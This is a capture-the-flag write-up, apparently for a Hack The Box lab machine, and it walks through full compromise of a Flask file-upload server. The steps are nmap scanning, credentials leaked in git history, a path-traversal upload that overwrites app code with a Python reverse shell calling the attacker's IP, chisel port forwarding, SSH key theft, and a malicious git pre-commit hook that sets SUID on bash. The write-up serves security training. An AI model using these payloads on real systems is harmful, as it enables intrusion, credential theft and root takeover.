IP -> 10.10.11.164
First we run a nmap scan: “nmap -p- -v -sCV 10.10.11.164”
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 08 Jun 2022 14:54:42 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 08 Jun 2022 14:54:42 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: upcloud - Upload files for Free!
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=6/8%Time=62A0B832%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Py
SF:thon/3\.10\.3\r\nDate:\x20Wed,\x2008\x20Jun\x202022\x2014:54:42\x20GMT\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x205
SF:316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20\
SF:x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\
SF:"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n
SF:\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!<
SF:/title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jquer
SF:y-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stati
SF:c/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script\
SF:x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\x
SF:20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround\
SF:.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=
SF:\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<lin
SF:k\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boot
SF:strap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hre
SF:f=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20\
SF:x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\n
SF:Server:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Wed,\x2008\x
SF:20Jun\x202022\x2014:54:42\x20GMT\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OPTIONS\r\nContent-Length:\x200
SF:\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20B
SF:ad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\
SF:x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see that this computer is running ssh on port 22, HTTP on port 80, and some other service on port 3000. The fact that it says it’s filtered means that is behind a firewall of some type. We’ll keep this in mind for the future.
Now let’s access the website:
![](https://blog.javier.ie/wp-content/uploads/2022/06/1-1024x489.png)
![](https://blog.javier.ie/wp-content/uploads/2022/06/2-1024x385.png)
Seems like we can download a zip file! Let’s download it and check its contents.
$ ls -la
total 2464
drwxr-xr-x 5 javier javier 4096 May 30 16:12 .
drwxr-xr-x 7 javier javier 4096 May 30 18:13 ..
drwxrwxr-x 5 javier javier 4096 May 30 16:12 app
-rwxr-xr-x 1 javier javier 110 Apr 28 12:40 build-docker.sh
drwxr-xr-x 2 javier javier 4096 May 30 16:12 config
-rw-r--r-- 1 javier javier 592 May 30 16:12 Dockerfile
drwxrwxr-x 8 javier javier 4096 Jun 8 16:08 .git
-rw-r--r-- 1 javier javier 2489147 May 30 13:41 source.zip
A .git directory! Let’s check branches.
$ git branch
dev
* public
We have two branches: Dev and public. Let’s switch!
$ git checkout dev
Switched to branch 'dev'
$ git branch
* dev
public
Now that we changed branches successfully let’s see the past commits.
$ git log -p
.....
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
- "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
- "http.proxyStrictSSL": false
-}
comm...
Looks like it configured a proxy in the past! And we got credentials for a user dev01 with password Soulless_Developer#2022.
Inspecting the code we find this running in the /upcloud endpoint:
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
Let’s analyse the function get_file_name:
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
We can see that what it does is get the filename and recursively replaces ../ with nothing to avoid path traversal.
Let’s inspect what happens when we upload a file.
POST /upcloud HTTP/1.1
Host: 10.10.11.164
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------304619959335049392541602554925
Content-Length: 238
Origin: http://10.10.11.164
Connection: keep-alive
Referer: http://10.10.11.164/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
-----------------------------304619959335049392541602554925
Content-Disposition: form-data; name="file"; filename="text"
Content-Type: application/octet-stream
Example
-----------------------------304619959335049392541602554925--
The code filters the filename inside the request payload. If we set it to ..//file.txt it will remove ../ and leave us with /file.txt, therefore allowing us to write to any folder. Let’s copy the original code from the website and edit it a little bit to add our own route that executes a reverse shell.
import socket, subprocess, os, pty
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.103",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
return render_template('index.html')
@app.route('/K4oS')
def K4oS():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.103",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
return True
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
I added the shells in another endpoint /K4oS and the main path just in case. I wrote a little script that sends the file, overwriting the code and allowing us to get a reverse shell.
curl -i -s -k -X $'POST' \
-H $'Host: 10.10.11.164' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------291095438030961394332225371557' -H $'Content-Length: 1594' -H $'Origin: http://10.10.11.164' -H $'Connection: close' -H $'Referer: http://10.10.11.164/upcloud' -H $'Upgrade-Insecure-Requests: 1' \
--data-binary $'-----------------------------291095438030961394332225371557\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"..//app/app/views.py\"\x0d\x0aContent-Type: text/x-python\x0d\x0a\x0d\x0aimport socket, subprocess, os, pty\x0afrom app.utils import get_file_name\x0afrom flask import render_template, request, send_file\x0a\x0afrom app import app\x0a\x0a\[email protected](\'/\')\x0adef index():\x0a s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\x0a s.connect((\"10.10.14.103\",1234))\x0a os.dup2(s.fileno(),0)\x0a os.dup2(s.fileno(),1)\x0a os.dup2(s.fileno(),2)\x0a pty.spawn(\"sh\")\x0a return render_template(\'index.html\')\x0a\[email protected](\'/K4oS\')\x0adef K4oS():\x0a s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\x0a s.connect((\"10.10.14.103\",1234))\x0a os.dup2(s.fileno(),0)\x0a os.dup2(s.fileno(),1)\x0a os.dup2(s.fileno(),2)\x0a pty.spawn(\"sh\")\x0a return True\x0a\x0a\[email protected](\'/download\')\x0adef download():\x0a return send_file(os.path.join(os.getcwd(), \"app\", \"static\", \"source.zip\"))\x0a\x0a\[email protected](\'/upcloud\', methods=[\'GET\', \'POST\'])\x0adef upload_file():\x0a if request.method == \'POST\':\x0a f = request.files[\'file\']\x0a file_name = get_file_name(f.filename)\x0a file_path = os.path.join(os.getcwd(), \"public\", \"uploads\", file_name)\x0a f.save(file_path)\x0a return render_template(\'success.html\', file_url=request.host_url + \"uploads/\" + file_name)\x0a return render_template(\'upload.html\')\x0a\x0a\[email protected](\'/uploads/<path:path>\')\x0adef send_report(path):\x0a path = get_file_name(path)\x0a return send_file(os.path.join(os.getcwd(), \"public\", \"uploads\", path))\x0a\x0d\x0a-----------------------------291095438030961394332225371557--\x0d\x0a' \
$'http://10.10.11.164/upcloud'
Now we can access the site and get a reverse shell!
nc -lvnp 1234
Connection from 10.10.11.164:59092
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
It may look like we are root and the room is finished, but inspecting further you will find we are in a docker container.
/app # ls -la /
total 72
drwxr-xr-x 1 root root 4096 Jun 8 15:56 .
drwxr-xr-x 1 root root 4096 Jun 8 15:56 ..
-rwxr-xr-x 1 root root 0 Jun 8 15:56 .dockerenv
drwxr-xr-x 1 root root 4096 May 4 16:35 app
drwxr-xr-x 1 root root 4096 Mar 17 05:52 bin
drwxr-xr-x 5 root root 340 Jun 8 15:56 dev
drwxr-xr-x 1 root root 4096 Jun 8 15:56 etc
drwxr-xr-x 2 root root 4096 May 4 16:35 home
drwxr-xr-x 1 root root 4096 May 4 16:35 lib
drwxr-xr-x 5 root root 4096 May 4 16:35 media
drwxr-xr-x 2 root root 4096 May 4 16:35 mnt
drwxr-xr-x 2 root root 4096 May 4 16:35 opt
dr-xr-xr-x 252 root root 0 Jun 8 15:56 proc
drwx------ 1 root root 4096 Jun 8 15:56 root
drwxr-xr-x 1 root root 4096 Jun 8 15:56 run
drwxr-xr-x 1 root root 4096 Mar 17 05:52 sbin
drwxr-xr-x 2 root root 4096 May 4 16:35 srv
dr-xr-xr-x 13 root root 0 Jun 8 15:56 sys
drwxrwxrwt 1 root root 4096 Jun 8 15:56 tmp
drwxr-xr-x 1 root root 4096 May 4 16:35 usr
drwxr-xr-x 1 root root 4096 May 4 16:35 var
The .dockerenv in the root tells us we are in a docker container. Remember the port that was behind a firewall? Let’s use chisel to forward that port remotely. I downloaded a static chisel binary and did the following. “$” Represents our hacking pc and “#” what is being ran in the reverse shell.
$ ./chisel server -p 1234 --reverse
# ./chisel client 10.10.14.103:1234 R:3000:10.10.11.164:3000
And now when we access http://127.0.0.1:3000 we get this:
![](https://blog.javier.ie/wp-content/uploads/2022/06/tea-1024x490.png)
Let’s try to log in with the credentials we found earlier “dev01:Soulless_Developer#2022“
![](https://blog.javier.ie/wp-content/uploads/2022/06/logged-1-1024x437.png)
Got it! So now let’s try accessing the local backup repository:
![](https://blog.javier.ie/wp-content/uploads/2022/06/backup-1024x484.png)
.ssh? Do we have an id_rsa?
![](https://blog.javier.ie/wp-content/uploads/2022/06/rsa-1024x436.png)
Yes! Now let’s download the file and login as dev01
$ ssh -i dev01_idrsa [email protected]
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 2.0
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
Let’s start enumerating! Let’s check for sudo permission, setuids and crontab.
dev01@opensource:~$ sudo -l
[sudo] password for dev01: Soulless_Developer#2022
Sorry, user dev01 may not run sudo on opensource.
dev01@opensource:~$ find / -perm -4000 2>/dev/null
/snap/snapd/15177/usr/lib/snapd/snap-confine
/snap/snapd/15534/usr/lib/snapd/snap-confine
/snap/core18/2344/bin/mount
/snap/core18/2344/bin/ping
/snap/core18/2344/bin/su
/snap/core18/2344/bin/umount
/snap/core18/2344/usr/bin/chfn
/snap/core18/2344/usr/bin/chsh
/snap/core18/2344/usr/bin/gpasswd
/snap/core18/2344/usr/bin/newgrp
/snap/core18/2344/usr/bin/passwd
/snap/core18/2344/usr/bin/sudo
/snap/core18/2344/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2344/usr/lib/openssh/ssh-keysign
/bin/fusermount
/bin/umount
/bin/mount
/bin/su
/bin/ping
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chfn
dev01@opensource:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Let’s now run pspy64 to check if there are any cronjobs running that we can’t see:
...
2022/06/08 16:33:01 CMD: UID=0 PID=31893 | /bin/bash /usr/local/bin/git-sync
...
So periodically /usr/local/bin/git-sync is getting executed. Let’s check what is inside the file.
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
So this script is backing up the user’s home directory. But when they commit we can set a custom hook to execute commands before the commit since we own the git repository.
Let’s edit pre-commit.sample and rename it to pre-commit
#!/bin/sh
chmod +s /bin/bash
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".
if git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
# Initial commit: diff against an empty tree object
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
# If you want to allow non-ASCII filenames set this variable to true.
allownonascii=$(git config --bool hooks.allownonascii)
# Redirect output to stderr.
exec 1>&2
# Cross platform projects tend to avoid non-ASCII filenames; prevent
# them from being added to the repository. We exploit the fact that the
# printable range starts at the space character and ends with tilde.
if [ "$allownonascii" != "true" ] &&
# Note that the use of brackets around a tr range is ok here, (it's
# even required, for portability to Solaris 10's /usr/bin/tr), since
# the square bracket bytes happen to fall in the designated range.
test $(git diff --cached --name-only --diff-filter=A -z $against |
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
cat <<\EOF
Error: Attempt to add a non-ASCII file name.
This can cause problems if you want to work with people on other platforms.
To be portable it is advisable to rename the file.
If you know what you are doing you can disable this check using:
git config hooks.allownonascii true
EOF
exit 1
fi
# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --
Now let’s wait for the backup to happen and we should see the setUID being set in /bin/bash.
dev01@opensource:~/.git/hooks$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
dev01@opensource:~/.git/hooks$ bash -p
bash-4.4# id
uid=1000(dev01) gid=1000(dev01) euid=0(root) egid=0(root) groups=0(root),1000(dev01)
bash-4.4# cat /root/root.txt
79ffa2f43b625e8...
I hope you enjoyed the writeup!